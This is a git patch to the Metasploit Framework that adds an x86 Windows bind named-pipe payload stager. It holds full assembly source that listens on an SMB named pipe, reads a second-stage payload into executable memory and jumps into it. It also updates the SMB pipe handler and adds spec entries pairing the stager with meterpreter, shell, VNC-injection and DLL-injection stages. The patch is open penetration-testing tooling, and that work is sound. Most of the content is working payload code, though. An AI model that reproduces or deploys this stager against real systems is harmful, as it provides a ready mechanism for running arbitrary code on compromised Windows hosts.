From d756db4f9dd585ba3e68f641cc7f5875de8dce1e Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Sat, 17 Mar 2018 15:53:06 -0500 Subject: [PATCH] Land #9613, add bind_named_pipe x86 --- lib/msf/core/handler/bind_named_pipe.rb | 75 ++-- .../core/payload/windows/bind_named_pipe.rb | 349 ++++++++++++++++++ .../payload/windows/x64/bind_named_pipe.rb | 2 +- .../stagers/windows/bind_named_pipe.rb | 29 ++ spec/modules/payloads_spec.rb | 77 ++++ 5 files changed, 496 insertions(+), 36 deletions(-) create mode 100644 lib/msf/core/payload/windows/bind_named_pipe.rb create mode 100644 modules/payloads/stagers/windows/bind_named_pipe.rb diff --git a/lib/msf/core/handler/bind_named_pipe.rb b/lib/msf/core/handler/bind_named_pipe.rb index ea608c8e9e..b0fa2ab6cd 100644 --- a/lib/msf/core/handler/bind_named_pipe.rb +++ b/lib/msf/core/handler/bind_named_pipe.rb @@ -9,6 +9,7 @@ require 'rex/proto/smb/simpleclient' # 1) A peek named pipe operation is carried out before every read to prevent blocking. This # generates extra traffic. SMB echo requests are also generated to force the packet # dispatcher to perform a read. +# 2) SMB1 only. Switch to ruby_smb. # # @@ -23,21 +24,23 @@ require 'rex/proto/smb/simpleclient' # A peek operation on the pipe fixes this. # class OpenPipeSock < Rex::Proto::SMB::SimpleClient::OpenPipe - attr_accessor :mutex, :last_comm, :write_queue, :write_thread, :read_buff, :echo_thread, :server_max_buffer_size + attr_accessor :mutex, :last_comm, :write_queue, :write_thread, :read_buff, :echo_thread, :simple, :server_max_buffer_size STATUS_BUFFER_OVERFLOW = 0x80000005 + STATUS_PIPE_BROKEN = 0xc000014b - def initialize(*args, server_max_buffer_size:) + def initialize(*args, simple:, server_max_buffer_size:) super(*args) - self.client = args[0] + self.simple = simple + self.client = simple.client self.mutex = Mutex.new # synchronize read/writes self.last_comm = Time.now # last successfull read/write - self.write_queue = Queue.new # queue message to send + self.write_queue = Queue.new # messages to send self.write_thread = Thread.new { dispatcher } self.echo_thread = Thread.new { force_read } self.read_buff = '' - self.server_max_buffer_size = server_max_buffer_size - self.chunk_size = server_max_buffer_size - 260 + self.server_max_buffer_size = server_max_buffer_size # max transaction size + self.chunk_size = server_max_buffer_size - 260 # max read/write size end # Check if there are any bytes to read and return number available. Access must be synchronized. @@ -46,6 +49,9 @@ class OpenPipeSock < Rex::Proto::SMB::SimpleClient::OpenPipe setup = [0x23, self.file_id].pack('vv') # Must ignore errors since we expect STATUS_BUFFER_OVERFLOW pkt = self.client.trans_maxzero('\\PIPE\\', '', '', 2, setup, false, true, true) + if pkt['Payload']['SMB'].v['ErrorClass'] == STATUS_PIPE_BROKEN + raise IOError + end avail = 0 begin avail = pkt.to_s[pkt['Payload'].v['ParamOffset']+4, 2].unpack('v')[0] @@ -80,7 +86,7 @@ class OpenPipeSock < Rex::Proto::SMB::SimpleClient::OpenPipe # Runs as a thread and synchronizes writes. Allows write operations to return # immediately instead of waiting for the mutex. def dispatcher - while true + while not self.write_queue.closed? data = self.write_queue.pop self.mutex.synchronize do sent = 0 @@ -98,40 +104,38 @@ class OpenPipeSock < Rex::Proto::SMB::SimpleClient::OpenPipe # Intercepts the socket.close from the session manager when the session dies. # Cleanly terminates the SMB session and closes the socket. def close + self.echo_thread.kill rescue nil # Give the meterpreter shutdown command a chance self.write_queue.close - if self.write_queue.size > 0 - sleep(1.0) - end - self.write_thread.kill - begin - # close pipe - super - rescue => e + if self.write_thread.join(2.0) + self.write_thread.kill + end + rescue end + + # close pipe, share, and socket + super rescue nil + self.simple.disconnect(self.simple.last_share) rescue nil self.client.socket.close end def read(count) data = '' - begin - if count > self.read_buff.length - # need more data to satisfy request - self.mutex.synchronize do - avail = peek_named_pipe - if avail > 0 - left = [count-self.read_buff.length, avail].max - while left > 0 - buff = super([left, self.chunk_size].min) - self.last_comm = Time.now - left -= buff.length - self.read_buff += buff - end + if count > self.read_buff.length + # need more data to satisfy request + self.mutex.synchronize do + avail = peek_named_pipe + if avail > 0 + left = [count-self.read_buff.length, avail].max + while left > 0 + buff = super([left, self.chunk_size].min) + self.last_comm = Time.now + left -= buff.length + self.read_buff += buff end end end - rescue end data = self.read_buff[0, [count, self.read_buff.length].min] @@ -190,7 +194,8 @@ class SimpleClientPipe < Rex::Proto::SMB::SimpleClient def create_pipe(path) pkt = self.client.create_pipe(path, Rex::Proto::SMB::Constants::CREATE_ACCESS_EXIST) file_id = pkt['Payload'].v['FileID'] - self.pipe = OpenPipeSock.new(self.client, path, self.client.last_tree_id, file_id, server_max_buffer_size: self.server_max_buffer_size) + self.pipe = OpenPipeSock.new(self.client, path, self.client.last_tree_id, file_id, simple: self, + server_max_buffer_size: self.server_max_buffer_size) end end @@ -202,7 +207,7 @@ module Msf # # Returns the string representation of the handler type, in this case - # 'reverse_named_pipe'. + # 'bind_named_pipe'. # def self.handler_type "bind_named_pipe" @@ -210,15 +215,15 @@ module Msf # # Returns the connection-described general handler type, in this case - # 'reverse'. + # 'bind'. # def self.general_handler_type "bind" end # - # Initializes the reverse handler and ads the options that are required - # for reverse named pipe payloads. + # Initializes the handler and ads the options that are required for + # bind named pipe payloads. # def initialize(info={}) super @@ -334,7 +339,7 @@ module Msf print_error("Failed to connect to pipe #{smbshare}") return end - + vprint_status("Opened pipe \\#{pipe_name}") # Increment the has connection counter diff --git a/lib/msf/core/payload/windows/bind_named_pipe.rb b/lib/msf/core/payload/windows/bind_named_pipe.rb new file mode 100644 index 0000000000..b2ca761aae --- /dev/null +++ b/lib/msf/core/payload/windows/bind_named_pipe.rb @@ -0,0 +1,349 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/send_uuid' +require 'msf/core/payload/windows/block_api' +require 'msf/core/payload/windows/exitfunk' + +module Msf + +### +# +# bind_named_pipe payload generation for Windows ARCH_X86 +# +### +module Payload::Windows::BindNamedPipe + + include Msf::Payload::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Windows::SendUUID + include Msf::Payload::Windows::BlockApi + include Msf::Payload::Windows::Exitfunk + + # + # Register bind_named_pipe specific options + # + def initialize(*args) + super + register_advanced_options( + [ + OptInt.new('WAIT_TIMEOUT', [false, 'Seconds pipe will wait for a connection', 10]) + ] + ) + end + + # + # Generate the first stage + # + def generate + conf = { + name: datastore['PIPENAME'], + host: datastore['PIPEHOST'], + timeout: datastore['WAIT_TIMEOUT'], + reliable: false, + } + + # Generate the advanced stager if we have space + unless self.available_space.nil? || required_space > self.available_space + conf[:reliable] = true + conf[:exitfunk] = datastore['EXITFUNC'] + end + + generate_bind_named_pipe(conf) + end + + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + # + # Generate and compile the stager + # + def generate_bind_named_pipe(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp ; block API pointer + #{asm_bind_named_pipe(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + + def transport_config(opts={}) + transport_config_bind_named_pipe(opts) + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) + space += 31 + + # Reliability adds bytes! +56 if exitfunk, otherwise +90 + #space += 56 + space += 90 + + space += uuid_required_size if include_send_uuid + + # The final estimated size + space + end + + def uuid_required_size + # TODO update this + space = 0 + + # UUID size + space += 16 + end + + # + # hPipe must be in edi. eax will contain WriteFile return value + # + def asm_send_uuid(uuid=nil) + uuid ||= generate_payload_uuid + uuid_raw = uuid.to_raw + + asm << %Q^ + send_uuid: + push 0 ; lpNumberOfBytesWritten + push esp + push #{uuid_raw.length} ; nNumberOfBytesToWrite + call get_uuid_address ; put uuid buffer on the stack + db #{raw_to_db(uuid_raw)} ; lpBuffer + get_uuid_address: + push edi : hPipe + push #{Rex::Text.block_api_hash('kernel32.dll', 'WriteFile')} + call ebp ; WriteFile(hPipe, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten) + ^ + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Bool] :reliable Whether or not to enable error handling code + # @option opts [String] :name Pipe name to create + # @option opts [Int] :timeout Seconds to wait for pipe connection + # + def asm_bind_named_pipe(opts={}) + + reliable = opts[:reliable] + timeout = opts[:timeout] * 1000 # convert to millisecs + retry_wait = 500 + retry_count = timeout / retry_wait + full_pipe_name = "\\\\\\\\.\\\\pipe\\\\#{opts[:name]}" # double escape -> \\.\pipe\name + chunk_size = 0x10000 # pipe buffer size + cleanup_funk = reliable ? 'cleanup_file' : 'failure' + pipe_mode = 1 # (PIPE_TYPE_BYTE|PIPE_NOWAIT|PIPE_READMODE_BYTE) + + asm = %Q^ + create_named_pipe: + push 0 ; lpSecurityAttributes. Default r/w for creator and administrators + push 0 ; nDefaultTimeOut + push #{chunk_size} ; nInBufferSize + push #{chunk_size} ; nOutBufferSize + push 255 ; nMaxInstances (PIPE_UNLIMITED_INSTANCES). in case pipe isn't released + push #{pipe_mode} ; dwPipeMode + push 3 ; dwOpenMode (PIPE_ACCESS_DUPLEX) + call get_pipe_name ; lpName + db "#{full_pipe_name}", 0x00 + get_pipe_name: + push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateNamedPipeA')} + call ebp ; CreateNamedPipeA(lpName, dwOpenMode, dwPipeMode, nMaxInstances, nOutBufferSize, + ; nInBufferSize, nDefaultTimeOut, lpSecurityAttributes) + mov edi, eax ; save hPipe (using sockedi convention) + + ; check for failure + cmp eax, -1 ; did it work? (INVALID_HANDLE_VALUE) + jz failure + + ; initialize retry counter + push #{retry_count} ; retry counter + pop esi + + ; Connect pipe to remote + connect_pipe: + push 0 ; lpOverlapped + push edi ; hPipe + push #{Rex::Text.block_api_hash('kernel32.dll', 'ConnectNamedPipe')} + call ebp ; ConnectNamedPipe(hPipe, lpOverlapped) + + ; check for failure + push #{Rex::Text.block_api_hash('kernel32.dll', 'GetLastError')} + call ebp ; GetLastError() + cmp eax, 0x217 ; looking for ERROR_PIPE_CONNECTED + jz get_stage_size ; success + dec esi + jz #{cleanup_funk} ; out of retries + + ; wait before trying again + push #{retry_wait} + push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')} + call ebp ; Sleep(millisecs) + jmp connect_pipe + ^ + + asm << asm_send_uuid if include_send_uuid + + asm << 'get_stage_size:' + + # For reliability, set pipe state to wait so ReadFile blocks + if reliable + asm << %Q^ + push 0 + mov ecx, esp + push 0 ; lpCollectDataTimeout + push 0 ; lpMaxCollectionCount + push ecx ; lpMode (PIPE_WAIT) + push edi ; hPipe + push #{Rex::Text.block_api_hash('kernel32.dll', 'SetNamedPipeHandleState')} + call ebp ; SetNamedPipeHandleState(hPipe, lpMode, lpMaxCollectionCount, lpCollectDataTimeout) + ^ + end + + asm << %Q^ + ; read size of second stage + sub esp, 8 + push 0 ; lpOverlapped + lea ebx, [esp+4] ; lpNumberOfBytesRead + push ebx + push 4 ; nNumberOfBytesToRead + lea ecx, [esp+16] ; lpBuffer + push ecx + push edi ; hPipe + push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call ebp ; ReadFile(hPipe, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped) + pop eax ; lpNumberOfBytesRead + pop esi ; lpBuffer (stage size) + ^ + + if reliable + asm << %Q^ + ; check for bytesRead == 4 + cmp eax, 4 ; expecting 4 bytes + jnz cleanup_file + ^ + end + + asm << %Q^ + get_second_stage: + ; Alloc a RWX buffer for the second stage + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push esi ; dwLength + push 0 ; NULL as we dont care where the allocation is + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call ebp ; VirtualAlloc(NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE) + ^ + + if reliable + asm << %Q^ + test eax, eax ; VirtualAlloc returning 0 is an error + jz cleanup_file + ^ + end + + asm << %Q^ + push eax ; save stage base address + mov ebx, eax ; stage 2 buff ptr + + read_more: + ; prepare the size min(0x10000, esi) + mov edx, #{chunk_size} + cmp edx, esi + jle read_max ; read chunk_size + mov edx, esi ; read remaining bytes + read_max: + push 0 + mov ecx, esp + push 0 ; lpOverlapped + push ecx ; lpNumberOfBytesRead + push edx ; nNumberOfBytesToRead + push ebx ; lpBuffer + push edi ; hPipe + push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call ebp ; ReadFile(hPipe, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped) + pop edx ; lpNumberOfBytesRead + ^ + + if reliable + asm << %Q^ + ; check to see if the read worked + test eax, eax + jnz read_successful + + ; something failed so free up memory + pop ecx + push 0x4000 ; MEM_DECOMMIT + push 0 ; dwSize, 0 to decommit whole block + push ecx ; lpAddress + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) + + cleanup_file: + ; cleanup the pipe handle + push edi ; file handle + push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')} + call ebp ; CloseHandle(hPipe) + + jmp failure + ^ + end + + asm << %Q^ + read_successful: + add ebx, edx ; buffer += bytes_received + sub esi, edx ; length -= bytes_received + test esi, esi ; check for 0 bytes left + jnz read_more ; continue if we have more to read + + pop ecx + jmp ecx ; jump into the second stage + ^ + + asm << 'failure:' + + if opts[:exitfunk] + asm << %Q^ + call exitfunk + ^ + asm << asm_exitfunk(opts) + elsif reliable + asm << %Q^ + call get_kernel32_name + db "kernel32", 0x00 + get_kernel32_name: + push #{Rex::Text.block_api_hash('kernel32.dll', 'GetModuleHandleA')} + call ebp ; GetModuleHandleA("kernel32") + + call get_exit_name + db "ExitThread", 0x00 + get_exit_name: ; lpProcName + push eax ; hModule + push #{Rex::Text.block_api_hash('kernel32.dll', 'GetProcAddress')} + call ebp ; GetProcAddress(hModule, "ExitThread") + push 0 ; dwExitCode + call eax ; ExitProcess(0) + ^ + else + # run off the end + end + + asm + end + +end + +end diff --git a/lib/msf/core/payload/windows/x64/bind_named_pipe.rb b/lib/msf/core/payload/windows/x64/bind_named_pipe.rb index 4df3b49b62..f3e2994874 100644 --- a/lib/msf/core/payload/windows/x64/bind_named_pipe.rb +++ b/lib/msf/core/payload/windows/x64/bind_named_pipe.rb @@ -128,7 +128,7 @@ module Payload::Windows::BindNamedPipe_x64 sub rsp, 16 ; allocate + alignment mov r9, rsp ; lpNumberOfBytesWritten mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'WriteFile')} - call rbp + call rbp ; WriteFile(hPipe, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten) add rsp, 16 ^ end diff --git a/modules/payloads/stagers/windows/bind_named_pipe.rb b/modules/payloads/stagers/windows/bind_named_pipe.rb new file mode 100644 index 0000000000..0c597e7e50 --- /dev/null +++ b/modules/payloads/stagers/windows/bind_named_pipe.rb @@ -0,0 +1,29 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/bind_named_pipe' +require 'msf/core/payload/windows/bind_named_pipe' + +module MetasploitModule + + CachedSize = 336 + + include Msf::Payload::Stager + include Msf::Payload::Windows::BindNamedPipe + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x86 Bind Named Pipe Stager', + 'Description' => 'Listen for a pipe connection (Windows x86)', + 'Author' => [ 'UserExistsError' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindNamedPipe, + 'Convention' => 'sockedi', # hPipe + 'Stager' => { 'RequiresMidstager' => false } + )) + end +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 3b97497339..d8999aa3be 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2643,6 +2643,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/dllinject/bind_ipv6_tcp' end + context 'windows/dllinject/bind_named_pipe' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/bind_named_pipe', + 'stages/windows/dllinject' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/bind_named_pipe' + end + context 'windows/dllinject/bind_nonx_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2961,6 +2972,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/meterpreter/bind_ipv6_tcp_uuid' end + context 'windows/meterpreter/bind_named_pipe' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/bind_named_pipe', + 'stages/windows/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/bind_named_pipe' + end + context 'windows/meterpreter/bind_nonx_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3223,6 +3245,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/patchupdllinject/bind_ipv6_tcp' end + context 'windows/patchupdllinject/bind_named_pipe' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/bind_named_pipe', + 'stages/windows/patchupdllinject' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/bind_named_pipe' + end + context 'windows/patchupdllinject/bind_nonx_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3377,6 +3410,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/patchupmeterpreter/bind_ipv6_tcp' end + context 'windows/patchupmeterpreter/bind_named_pipe' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/bind_named_pipe', + 'stages/windows/patchupmeterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/bind_named_pipe' + end + context 'windows/patchupmeterpreter/bind_nonx_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3531,6 +3575,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/shell/bind_ipv6_tcp' end + context 'windows/shell/bind_named_pipe' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/bind_named_pipe', + 'stages/windows/shell' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/shell/bind_named_pipe' + end + context 'windows/shell/bind_nonx_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3735,6 +3790,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/upexec/bind_ipv6_tcp' end + context 'windows/upexec/bind_named_pipe' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/bind_named_pipe', + 'stages/windows/upexec' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/bind_named_pipe' + end + context 'windows/upexec/bind_nonx_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3889,6 +3955,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/vncinject/bind_ipv6_tcp' end + context 'windows/vncinject/bind_named_pipe' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/bind_named_pipe', + 'stages/windows/vncinject' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/bind_named_pipe' + end + context 'windows/vncinject/bind_nonx_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [